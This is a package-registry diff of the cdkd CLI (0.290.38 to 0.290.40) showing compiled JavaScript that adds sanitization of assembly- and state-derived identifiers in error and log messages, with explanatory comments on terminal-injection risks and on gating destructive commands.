@go-to-k/cdkd 0.290.38 → 0.290.40

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
- import { C as displayAwsMessage, D as truncateCodePoints, E as isPasteableIdent, S as UNRENDERABLE, T as displaySafe, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as displayIdent, x as STACK_REF_MAX_CODE_POINTS, y as withoutGeneratedFallbackName } from "./logger-BX4pJk0T.js";
1
+ import { C as displayAwsMessage, D as truncateCodePoints, E as isPasteableIdent, S as UNRENDERABLE, T as displaySafe, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as displayIdent, x as STACK_REF_MAX_CODE_POINTS, y as withoutGeneratedFallbackName } from "./logger-BkcLg0jL.js";
2
2
  import { a as setAssumedRoleCredentials, i as getPreAssumeEnvCredentials, n as awsClientDefaults, o as setPreAssumeEnvCredentials, r as getAssumedRoleCredentials, t as SECOND_ROLE_PUBLISH_REFUSAL } from "./aws-client-defaults-BoIxyCir.js";
3
- import { t as getCdkdVersion } from "./version-BeHfM5ow.js";
3
+ import { t as getCdkdVersion } from "./version-CEKVu0mE.js";
4
4
  import { AsyncLocalStorage } from "node:async_hooks";
5
5
  import { createHash, randomUUID } from "node:crypto";
6
6
  import { CreateBucketCommand, DeleteObjectCommand, DeleteObjectsCommand, GetBucketLocationCommand, GetBucketReplicationCommand, GetObjectCommand, HeadBucketCommand, HeadObjectCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchKey, PutBucketEncryptionCommand, PutBucketPolicyCommand, PutObjectCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -2843,7 +2843,7 @@ function collectStackMessages(assemblyDir, artifact) {
2843
2843
  merged[path] = [...merged[path] ?? [], ...entries];
2844
2844
  }
2845
2845
  } catch (error) {
2846
- throw new SynthesisError(`Failed to read stack metadata file ${metadataPath}: ${error instanceof Error ? error.message : String(error)}`, error instanceof Error ? error : void 0);
2846
+ throw new SynthesisError(`Failed to read stack metadata file ${displaySafe(metadataPath)}: ${displaySafe(error instanceof Error ? error.message : String(error))}`, error instanceof Error ? error : void 0);
2847
2847
  }
2848
2848
  }
2849
2849
  const messages = [];
@@ -2899,6 +2899,22 @@ function processStackMessages(stacks, logger, options = {}) {
2899
2899
  //#region src/synthesis/assembly-reader.ts
2900
2900
  /**
2901
2901
  * Reads and parses Cloud Assembly from cdk.out directory
2902
+ *
2903
+ * EVERY value this class renders into a message or a log line goes through
2904
+ * `displaySafe` (issue [#3277](https://github.com/go-to-k/cdkd/issues/3277)).
2905
+ * The reason is the one its absolute-`aws:asset:path` refusal states in its own
2906
+ * text: a manifest key, a template key, a `Metadata` string, a
2907
+ * `directoryName`-derived path and the `JSON.parse` failure quoting a hand-fed
2908
+ * file are all chosen by whoever wrote the assembly, and this is the FIRST
2909
+ * layer the CLI reaches, so on a hostile assembly its output is what a user is
2910
+ * asked to trust. C1 bytes and the bidi overrides survive ordinary string
2911
+ * building, and `formatError` sanitizes only an error's `cause`, never its own
2912
+ * `message` — so a crafted value otherwise appends what reads as a second,
2913
+ * cdkd-authored line. `displaySafe` is the identity on every well-formed
2914
+ * assembly: it neither truncates nor quotes, so a legitimate long asset path
2915
+ * still renders in full and byte-identically. The same rule, for the same
2916
+ * reason, guards the twin refusals in `src/cli/commands/diff-recursive.ts`
2917
+ * (go-to-k/cdkd#3243).
2902
2918
  */
2903
2919
  var AssemblyReader = class {
2904
2920
  logger = getLogger().child("AssemblyReader");
@@ -2910,10 +2926,10 @@ var AssemblyReader = class {
2910
2926
  try {
2911
2927
  const content = readFileSync(manifestPath, "utf-8");
2912
2928
  const manifest = JSON.parse(content);
2913
- this.logger.debug(`Loaded manifest: version=${manifest.version}`);
2929
+ this.logger.debug(`Loaded manifest: version=${displaySafe(manifest.version)}`);
2914
2930
  return manifest;
2915
2931
  } catch (error) {
2916
- throw new SynthesisError(`Failed to read cloud assembly manifest from ${manifestPath}: ${error instanceof Error ? error.message : String(error)}`, error instanceof Error ? error : void 0);
2932
+ throw new SynthesisError(`Failed to read cloud assembly manifest from ${displaySafe(manifestPath)}: ${displaySafe(error instanceof Error ? error.message : String(error))}`, error instanceof Error ? error : void 0);
2917
2933
  }
2918
2934
  }
2919
2935
  /**
@@ -2938,7 +2954,7 @@ var AssemblyReader = class {
2938
2954
  const nestedStacks = this.getAllStacks(nestedDir, nestedManifest);
2939
2955
  stacks.push(...nestedStacks);
2940
2956
  } catch (error) {
2941
- this.logger.warn(`Failed to read nested assembly '${props.directoryName}': ${error instanceof Error ? error.message : String(error)}`);
2957
+ this.logger.warn(`Failed to read nested assembly '${displaySafe(props.directoryName)}': ${displaySafe(error instanceof Error ? error.message : String(error))}`);
2942
2958
  }
2943
2959
  }
2944
2960
  }
@@ -2951,7 +2967,7 @@ var AssemblyReader = class {
2951
2967
  getStack(assemblyDir, manifest, stackName) {
2952
2968
  const stacks = this.getAllStacks(assemblyDir, manifest);
2953
2969
  const stack = stacks.find((s) => s.stackName === stackName);
2954
- if (!stack) throw new SynthesisError(`Stack '${stackName}' not found in assembly. Available: ${stacks.map((s) => s.stackName).join(", ")}`);
2970
+ if (!stack) throw new SynthesisError(`Stack '${displaySafe(stackName)}' not found in assembly. Available: ${stacks.map((s) => displaySafe(s.stackName)).join(", ")}`);
2955
2971
  return stack;
2956
2972
  }
2957
2973
  /**
@@ -2980,21 +2996,21 @@ var AssemblyReader = class {
2980
2996
  const props = artifact.properties;
2981
2997
  const stackName = props?.stackName || artifactId;
2982
2998
  const templateFile = props?.templateFile;
2983
- if (!templateFile) throw new SynthesisError(`Stack '${stackName}' has no templateFile property`);
2999
+ if (!templateFile) throw new SynthesisError(`Stack '${displaySafe(stackName)}' has no templateFile property`);
2984
3000
  const templatePath = join(assemblyDir, templateFile);
2985
3001
  let template;
2986
3002
  try {
2987
3003
  const content = readFileSync(templatePath, "utf-8");
2988
3004
  template = JSON.parse(content);
2989
3005
  } catch (error) {
2990
- throw new SynthesisError(`Failed to read template for stack '${stackName}': ${error instanceof Error ? error.message : String(error)}`, error instanceof Error ? error : void 0);
3006
+ throw new SynthesisError(`Failed to read template for stack '${displaySafe(stackName)}': ${displaySafe(error instanceof Error ? error.message : String(error))}`, error instanceof Error ? error : void 0);
2991
3007
  }
2992
- this.logger.debug(`Stack: ${stackName}, Resources: ${Object.keys(template.Resources ?? {}).length}`);
3008
+ this.logger.debug(`Stack: ${displaySafe(stackName)}, Resources: ${Object.keys(template.Resources ?? {}).length}`);
2993
3009
  let assetManifestPath;
2994
3010
  if (artifact.dependencies) {
2995
3011
  for (const depId of artifact.dependencies) if (assetManifestMap.has(depId)) {
2996
3012
  assetManifestPath = assetManifestMap.get(depId);
2997
- this.logger.debug(`Found asset manifest for ${stackName}: ${depId}`);
3013
+ this.logger.debug(`Found asset manifest for ${displaySafe(stackName)}: ${displaySafe(depId)}`);
2998
3014
  break;
2999
3015
  }
3000
3016
  }
@@ -3006,7 +3022,7 @@ var AssemblyReader = class {
3006
3022
  if (depName !== stackName) dependencyNames.push(depName);
3007
3023
  }
3008
3024
  }
3009
- if (dependencyNames.length > 0) this.logger.debug(`Stack '${stackName}' depends on: [${dependencyNames.join(", ")}]`);
3025
+ if (dependencyNames.length > 0) this.logger.debug(`Stack '${displaySafe(stackName)}' depends on: [${dependencyNames.map((n) => displaySafe(n)).join(", ")}]`);
3010
3026
  let env;
3011
3027
  if (artifact.environment) env = parseEnvironment(artifact.environment);
3012
3028
  const nestedTemplates = {};
@@ -3014,7 +3030,7 @@ var AssemblyReader = class {
3014
3030
  if (resource?.Type !== "AWS::CloudFormation::Stack") continue;
3015
3031
  const assetPath = resource.Metadata?.["aws:asset:path"];
3016
3032
  if (typeof assetPath !== "string" || assetPath.length === 0) continue;
3017
- if (isAbsolute(assetPath) || /^[a-zA-Z]:[\\/]/.test(assetPath) || assetPath.startsWith("\\\\")) throw new SynthesisError(`Stack '${stackName}' nested-stack '${logicalId}' has Metadata['aws:asset:path']='${assetPath}' which is absolute. CDK emits relative asset paths for nested templates; an absolute path indicates the synth output was hand-modified or generated by a non-CDK toolchain. Refusing to load.`);
3033
+ if (isAbsolute(assetPath) || /^[a-zA-Z]:[\\/]/.test(assetPath) || assetPath.startsWith("\\\\")) throw new SynthesisError(`Stack '${displaySafe(stackName)}' nested-stack '${displaySafe(logicalId)}' has Metadata['aws:asset:path']='${displaySafe(assetPath)}' which is absolute. CDK emits relative asset paths for nested templates; an absolute path indicates the synth output was hand-modified or generated by a non-CDK toolchain. Refusing to load.`);
3018
3034
  nestedTemplates[logicalId] = join(assemblyDir, assetPath);
3019
3035
  }
3020
3036
  return {
@@ -21073,10 +21089,12 @@ function findUnrecognizedProperties(resourceType, templateProperties) {
21073
21089
  //#endregion
21074
21090
  //#region src/state/malformed-resources-bag.ts
21075
21091
  /**
21076
- * The identifier cap every message here uses unless a caller says otherwise.
21077
- * See {@link safeIdentifier} for why it is a parameter at all.
21092
+ * The row name a READ-ONLY command reports for a record whose whole `resources`
21093
+ * map is unreadable — `cdkd drift` as a `notCompared` outcome and `cdkd diff`
21094
+ * as an unreadable row. Parenthesised so it cannot be mistaken for a logical
21095
+ * id, which CloudFormation keeps alphanumeric.
21078
21096
  */
21079
- const IDENT_CAP_DEFAULT = 128;
21097
+ const UNREADABLE_RESOURCES_MAP_ROW = "(resources map)";
21080
21098
  /** The error code every malformed-record refusal carries, whatever its class. */
21081
21099
  const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
21082
21100
  /**
@@ -21114,6 +21132,17 @@ function hasReadableOutputs(state) {
21114
21132
  return state.outputs === void 0 || isReadableBag(state.outputs);
21115
21133
  }
21116
21134
  /**
21135
+ * The cap for a value whose grammar is SHORT — an AWS region, or the name of a
21136
+ * state container. Unchanged from the literal this module used for every
21137
+ * identifier before go-to-k/cdkd#3018 made the cap a parameter, so no message
21138
+ * carrying either moves.
21139
+ *
21140
+ * A logical id does NOT share it: CloudFormation allows 255 characters there
21141
+ * (`IDENT_MAX_CODE_POINTS`), and a legitimate 129-to-255-character CDK id cut at
21142
+ * 128 renders as a name the record does not hold.
21143
+ */
21144
+ const SHORT_NAME_MAX_CODE_POINTS = 128;
21145
+ /**
21117
21146
  * The shared explanation, in the terms the reader needs: what is wrong, what
21118
21147
  * to look at, and what NOT to do next.
21119
21148
  *
@@ -21147,28 +21176,102 @@ function hasReadableOutputs(state) {
21147
21176
  * stays private. The pair here is not duplicated: what differs is the
21148
21177
  * `shellQuote` composition every message in THIS module needs and that one
21149
21178
  * must not have.
21150
- */
21151
- function safeIdentifier(value, maxCodePoints = IDENT_CAP_DEFAULT) {
21179
+ *
21180
+ * The helper itself carries no `buildForceUnlockCommand`-style exactness gate,
21181
+ * which SUPPRESSES a whole command when sanitizing changed the value. The
21182
+ * difference is what the command DOES: `cdkd force-unlock` deletes another
21183
+ * process's lock, so naming a stack that is not quite the record's is
21184
+ * destructive and suppressing is right. The command most texts here end on is
21185
+ * `cdkd state show`, which reads; emitting it with a sanitized name leads the
21186
+ * reader either to "no state found for ..." or to a sibling record the name
21187
+ * now matches, which a read shows them as healthy. Neither changes anything,
21188
+ * where emitting NOTHING leaves a broken record with no next step at all. A
21189
+ * text that points at a command which WRITES owns the gate at its own site:
21190
+ * {@link malformedDestroyResourcesRefusalMessage} names no target unless both
21191
+ * identifiers render exactly, and gives `cdkd state orphan` as a template.
21192
+ */
21193
+ function safeIdentifier(value, maxCodePoints) {
21152
21194
  const safe = displaySafe(value, { asciiOnly: true });
21153
21195
  if (!safe) return UNRENDERABLE;
21154
21196
  const { text, truncated } = truncateCodePoints(safe, maxCodePoints);
21155
21197
  return truncated ? `${text}...` : text;
21156
21198
  }
21157
21199
  /**
21200
+ * A stack name, which a nested chain makes legitimately long.
21201
+ *
21202
+ * Safe for a command that only READS. A caller building a command that WRITES
21203
+ * owns an exactness gate as well — print the command only when this returns the
21204
+ * value unchanged, since a name sanitizing altered can resolve to a different
21205
+ * stack — whenever the identity can hold characters sanitizing alters: anything
21206
+ * not already validated, whether a user typed it or the record supplied it.
21207
+ * `reportDriftBaselineGaps` (`src/cli/commands/export.ts`) gates its
21208
+ * `refresh-observed` command for that reason: `cdkd export --template` takes
21209
+ * the stack name as a free-typed positional, and the record BODY is a second
21210
+ * source when a caller omits the loaded identity. A synthesized stack name is
21211
+ * not an exception by itself — a prebuilt cloud assembly's name is read
21212
+ * unvalidated — which is why `dropRecordCommand` gates its substitution on
21213
+ * {@link rendersExactly} (go-to-k/cdkd#3360, closed by go-to-k/cdkd#3363).
21214
+ */
21215
+ function safeStackName(value) {
21216
+ return safeIdentifier(value, STACK_REF_MAX_CODE_POINTS);
21217
+ }
21218
+ /** An AWS region. */
21219
+ function safeRegion(value) {
21220
+ return safeIdentifier(value, SHORT_NAME_MAX_CODE_POINTS);
21221
+ }
21222
+ /**
21223
+ * A CloudFormation logical id, as it appears in a LIST of ids — which is the
21224
+ * only way this module and its callers print one.
21225
+ *
21226
+ * NOT {@link safeIdentifier}, although it is the obvious third sibling, and it
21227
+ * used to be exactly that. `displaySafe` TRIMS, so a sanitize-then-quote pair
21228
+ * renders a torn `resources["Bucket "]` byte-identically to a healthy sibling
21229
+ * `Bucket`, and the message sends the reader to the intact record while the
21230
+ * damaged one goes unnamed. `displayIdent` compares the sanitized text with the
21231
+ * raw one and JSON-quotes whenever they differ, so a padded or rewritten id can
21232
+ * never render bare. Past that, what it shows is judged on the text it KEEPS:
21233
+ * a kept part holding a character outside the plain-identifier set (`'`, a
21234
+ * space) is wrapped in double quotes with an embedded `"` escaped, so text an
21235
+ * id plants on a line that ends in a pasteable command stays visibly inside one
21236
+ * quoted token. A cut id is followed by `[cut: N more characters withheld]`,
21237
+ * which cannot be read as part of it — so a plain 255-character prefix renders
21238
+ * bare with that marker even when the withheld tail held a `'`, and nothing of
21239
+ * the tail is shown. An id with nothing renderable left is the bare
21240
+ * `<unrenderable>` stand-in. A
21241
+ * bare `,` inside a plain id still reads as two entries in a `', '`-joined list
21242
+ * — the residual go-to-k/cdkd#3179 records for every caller of the helper. That
21243
+ * is the answer go-to-k/cdkd#3317 recorded for
21244
+ * `namedPropertyBagsClause`; this is the same rule for the other lists, so two
21245
+ * sibling clauses in one module cannot give opposite answers.
21246
+ *
21247
+ * Capped at `IDENT_MAX_CODE_POINTS`, a logical id's own limit, rather than a
21248
+ * region-sized cut that would name no record.
21249
+ */
21250
+ function displayLogicalId(value) {
21251
+ return displayIdent(value, { maxCodePoints: 255 });
21252
+ }
21253
+ /**
21158
21254
  * The DIAGNOSIS sentence itself, with no identity and no remedy in it.
21159
21255
  *
21160
- * ONE spelling, for the reason {@link malformedStateDetail} gives for existing
21161
- * at all: two copies of a diagnosis are what drift. It is extracted because
21256
+ * ONE spelling, because two copies of a diagnosis are what drift. It is extracted because
21162
21257
  * {@link malformedDestroyResourcesRefusalMessage} needs the same sentence
21163
21258
  * under an identity it does NOT trust, where the detail's substituted
21164
21259
  * `cdkd state show` command must not appear — a difference in the COMMAND, not
21165
21260
  * in the diagnosis.
21166
21261
  */
21167
21262
  const MALFORMED_RESOURCES_DIAGNOSIS = "has no readable 'resources' map — the record is malformed or truncated. Both 'cdkd deploy' and 'cdkd destroy' REFUSE such a record rather than acting on it: they read the same map, an unreadable one is indistinguishable from an empty stack, and acting on that reading would make a deploy re-CREATE every resource and a destroy delete none of them.";
21168
- function malformedStateDetail(stackName, region, maxCodePoints = IDENT_CAP_DEFAULT) {
21169
- const stack = safeIdentifier(stackName, maxCodePoints);
21170
- const reg = safeIdentifier(region, maxCodePoints);
21171
- return `State for ${shellQuote(stack)} (${shellQuote(reg)}) ${MALFORMED_RESOURCES_DIAGNOSIS} Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21263
+ /**
21264
+ * `region` is optional for ONE caller's sake: `cdkd export`'s baseline report,
21265
+ * whose loaded region is absent when the record it loaded is a legacy
21266
+ * region-less one and no synth region was available to stand in for it. A placeholder there would put a `--stack-region` into a
21267
+ * command the reader pastes that selects no record at all — so an absent
21268
+ * region drops the clause and the flag rather than inventing one.
21269
+ */
21270
+ function malformedStateDetail(stackName, region) {
21271
+ const stack = safeStackName(stackName);
21272
+ const where = region === void 0 ? "" : ` (${shellQuote(safeRegion(region))})`;
21273
+ const regionFlag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeRegion(region))}`;
21274
+ return `State for ${shellQuote(stack)}${where} ${MALFORMED_RESOURCES_DIAGNOSIS} Inspect it with: cdkd state show ${shellQuote(stack)}${regionFlag} --json`;
21172
21275
  }
21173
21276
  /**
21174
21277
  * For a READ-ONLY command: give the record an empty resource bag so the
@@ -21333,23 +21436,23 @@ function malformedStateRefusalMessage(stackName, region) {
21333
21436
  * because a LEGACY record has no key region at all, in which case the value
21334
21437
  * printed is the CLI's own and `--stack-region` must be omitted.
21335
21438
  *
21336
- * **The cap this arm measures against is `STACK_REF_MAX_CODE_POINTS`, not the
21337
- * 128 every other text in this module uses**, and it is threaded rather than
21338
- * hard-coded because the VERDICT turns on it. At 128 an ordinary multi-level
21339
- * CDK nested child (`<root>~<...NestedStackResource><hash>~<...>`, measured
21340
- * past 150 code points) truncates, fails `exact`, and takes the withhold arm
21341
- * on a HEALTHY record — which is fail-safe but makes the fallback the common
21342
- * path for exactly the nested destroys this lane added a guard to (review
21343
- * round 2 of go-to-k/cdkd#3332). The bound is still a bound: a planted
21344
- * multi-kilobyte name is truncated at 1152 and lands in the withhold arm.
21439
+ * **The VERDICT turns on the identifier caps**, which is why the stack name is
21440
+ * measured through {@link safeStackName} (`STACK_REF_MAX_CODE_POINTS`) and the
21441
+ * region through {@link safeRegion} (128, which no real region approaches). At
21442
+ * 128 an ordinary multi-level CDK nested child
21443
+ * (`<root>~<...NestedStackResource><hash>~<...>`, measured past 150 code
21444
+ * points) truncates, fails `exact`, and takes the withhold arm on a HEALTHY
21445
+ * record — which is fail-safe but makes the fallback the common path for
21446
+ * exactly the nested destroys this lane added a guard to (review round 2 of
21447
+ * go-to-k/cdkd#3332). The bound is still a bound: a planted multi-kilobyte name
21448
+ * is truncated at 1152 and lands in the withhold arm.
21345
21449
  *
21346
21450
  * Identifiers are sanitized and THEN shell-quoted, for the reasons
21347
21451
  * {@link safeIdentifier}'s note gives.
21348
21452
  */
21349
21453
  function malformedDestroyResourcesRefusalMessage(stackName, region) {
21350
- const cap = STACK_REF_MAX_CODE_POINTS;
21351
- const exact = safeIdentifier(stackName, cap) === stackName && safeIdentifier(region, cap) === region;
21352
- return `${exact ? malformedStateDetail(stackName, region, cap) : `${stackClause(void 0, void 0)} ${MALFORMED_RESOURCES_DIAGNOSIS}`} This command DELETES state, so it refuses rather than continuing: the resource map IS the list of what to delete, so an unreadable one counts as ZERO resources and the run takes the empty-stack fast path, which removes state.json and reports success while every resource the record named is still live in AWS and no longer referenced by anything. Reading the bag as EMPTY is that same outcome rather than an alternative to it, so there is no repair available here. Repair or remove the record first. ${exact ? "To drop the record deliberately and leave the live resources standing, run 'cdkd state orphan' against the stack and the region THE RECORD'S S3 KEY holds — spelled out rather than pasteable, because that command DELETES a record and the region printed above is the one cdkd was pointed at, not a value cdkd owns. Confirm the key with 'cdkd state list --long' — a legacy record shows none, and for one of those the flag must be OMITTED or it selects nothing — then: cdkd state orphan <stack> --stack-region <region>" : `This record's stack name or region does NOT render exactly — what is printed above is a sanitized form, and another record may render identically — so this message names no target and offers no command against one. List the records as stored with 'cdkd state list --long', which prints a name needing sanitizing in quoted form, and act on the one whose key matches. Inspect it with: ${inspectCommand(void 0, void 0)}`}`;
21454
+ const exact = safeStackName(stackName) === stackName && safeRegion(region) === region;
21455
+ return `${exact ? malformedStateDetail(stackName, region) : `${stackClause(void 0, void 0)} ${MALFORMED_RESOURCES_DIAGNOSIS}`} This command DELETES state, so it refuses rather than continuing: the resource map IS the list of what to delete, so an unreadable one counts as ZERO resources and the run takes the empty-stack fast path, which removes state.json and reports success while every resource the record named is still live in AWS and no longer referenced by anything. Reading the bag as EMPTY is that same outcome rather than an alternative to it, so there is no repair available here. Repair or remove the record first. ${exact ? "To drop the record deliberately and leave the live resources standing, run 'cdkd state orphan' against the stack and the region THE RECORD'S S3 KEY holds — spelled out rather than pasteable, because that command DELETES a record and the region printed above is the one cdkd was pointed at, not a value cdkd owns. Confirm the key with 'cdkd state list --long' — a legacy record shows none, and for one of those the flag must be OMITTED or it selects nothing — then: cdkd state orphan <stack> --stack-region <region>" : `This record's stack name or region does NOT render exactly — what is printed above is a sanitized form, and another record may render identically — so this message names no target and offers no command against one. List the records as stored with 'cdkd state list --long', which prints a name needing sanitizing in quoted form, and act on the one whose key matches. Inspect it with: ${inspectCommand(void 0, void 0)}`}`;
21353
21456
  }
21354
21457
  /**
21355
21458
  * For `cdkd destroy` / `cdkd state destroy`: refuse a record whose `resources`
@@ -21567,9 +21670,9 @@ function refuseMalformedResourcesForDeploy(state, stackName, region) {
21567
21670
  * English (review of go-to-k/cdkd#3190).
21568
21671
  */
21569
21672
  function malformedRenderedContainersWarning(stackName, region, containers) {
21570
- const stack = safeIdentifier(stackName);
21571
- const reg = safeIdentifier(region);
21572
- const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
21673
+ const stack = safeStackName(stackName);
21674
+ const reg = safeRegion(region);
21675
+ const names = containers.map((name) => `'${safeIdentifier(name, SHORT_NAME_MAX_CODE_POINTS)}'`).join(", ");
21573
21676
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21574
21677
  }
21575
21678
  /** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
@@ -21650,8 +21753,8 @@ function repairMalformedOutputsForReadOnly(state) {
21650
21753
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21651
21754
  */
21652
21755
  function malformedOutputsWarning(stackName, region) {
21653
- const stack = safeIdentifier(stackName);
21654
- const reg = safeIdentifier(region);
21756
+ const stack = safeStackName(stackName);
21757
+ const reg = safeRegion(region);
21655
21758
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21656
21759
  }
21657
21760
  /**
@@ -21697,8 +21800,8 @@ function refuseMalformedState(state, stackName, region) {
21697
21800
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21698
21801
  */
21699
21802
  function malformedOutputsRefusalMessage(stackName, region) {
21700
- const stack = safeIdentifier(stackName);
21701
- const reg = safeIdentifier(region);
21803
+ const stack = safeStackName(stackName);
21804
+ const reg = safeRegion(region);
21702
21805
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21703
21806
  }
21704
21807
  /**
@@ -21723,8 +21826,8 @@ function malformedOutputsRefusalMessage(stackName, region) {
21723
21826
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21724
21827
  */
21725
21828
  function malformedExportSourceWarning(stackName, region) {
21726
- const stack = safeIdentifier(stackName);
21727
- const reg = safeIdentifier(region);
21829
+ const stack = safeStackName(stackName);
21830
+ const reg = safeRegion(region);
21728
21831
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21729
21832
  }
21730
21833
  /**
@@ -21752,8 +21855,8 @@ function malformedExportSourceWarning(stackName, region) {
21752
21855
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21753
21856
  */
21754
21857
  function malformedExportNamesWarning(stackName, region) {
21755
- const stack = safeIdentifier(stackName);
21756
- const reg = safeIdentifier(region);
21858
+ const stack = safeStackName(stackName);
21859
+ const reg = safeRegion(region);
21757
21860
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21758
21861
  }
21759
21862
  /**
@@ -21813,8 +21916,8 @@ function refuseMalformedOutputs(state, stackName, region) {
21813
21916
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21814
21917
  */
21815
21918
  function malformedDestroyOutputsRefusalMessage(stackName, region) {
21816
- const stack = safeIdentifier(stackName);
21817
- const reg = safeIdentifier(region);
21919
+ const stack = safeStackName(stackName);
21920
+ const reg = safeRegion(region);
21818
21921
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command DELETES state, so it refuses rather than continuing: it reads this bag to decide whether the stack might export anything, and that decision gates the cross-stack check that refuses to delete a producer another stack still imports from. A string or a list invents one export name per character or element; a null, a number or a boolean reads as 'exports nothing' and SKIPS the check entirely, deleting the record while consumers still resolve against it. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21819
21922
  }
21820
21923
  /**
@@ -21855,8 +21958,8 @@ function refuseMalformedOutputsForDestroy(state, stackName, region) {
21855
21958
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21856
21959
  */
21857
21960
  function malformedNestedChildOutputsRefusalMessage(childStackName, region) {
21858
- const stack = safeIdentifier(childStackName);
21859
- const reg = safeIdentifier(region);
21961
+ const stack = safeStackName(childStackName);
21962
+ const reg = safeRegion(region);
21860
21963
  return `State for nested stack child ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. The parent's 'Outputs.<Key>' attributes are REBUILT from this bag and persisted into the PARENT's record, and 'Object.entries' walks a string or a list as readily as a map — so a six-character value would become six fabricated parent attributes that every Fn::GetAtt against this nested stack then resolves into live AWS calls. The deploy refuses rather than fabricating them. Repair or remove the child's record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21861
21964
  }
21862
21965
  /**
@@ -21906,8 +22009,8 @@ function refuseMalformedNestedChildOutputs(state, childStackName, region) {
21906
22009
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21907
22010
  */
21908
22011
  function malformedLocalOutputsWarning(stackName, region) {
21909
- const stack = safeIdentifier(stackName);
21910
- const reg = safeIdentifier(region);
22012
+ const stack = safeStackName(stackName);
22013
+ const reg = safeRegion(region);
21911
22014
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so reading it would hand this local run one FABRICATED output per character or element. Continuing with it EMPTY: every reference to an output of this record resolves to nothing and is dropped, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21912
22015
  }
21913
22016
  /** How many logical ids a `properties` message names before it says "and N more". */
@@ -21942,8 +22045,8 @@ const NAMED_UNREADABLE_PROPERTY_BAGS = 5;
21942
22045
  */
21943
22046
  function stackClause(stackName, region) {
21944
22047
  if (stackName === void 0) return "The state record this command loaded";
21945
- const where = region === void 0 ? "" : ` (${shellQuote(safeIdentifier(region))})`;
21946
- return `State for ${shellQuote(safeIdentifier(stackName))}${where}`;
22048
+ const where = region === void 0 ? "" : ` (${shellQuote(safeRegion(region))})`;
22049
+ return `State for ${shellQuote(safeStackName(stackName))}${where}`;
21947
22050
  }
21948
22051
  /**
21949
22052
  * The DESTRUCTIVE remedy, built the way {@link inspectCommand} builds the
@@ -22012,8 +22115,9 @@ function dropRecordCommand(stackName, region, recovery) {
22012
22115
  /**
22013
22116
  * Whether an identity survives {@link safeIdentifier} UNCHANGED at the
22014
22117
  * state-record grammar's cap, so a command or a key built from it addresses the
22015
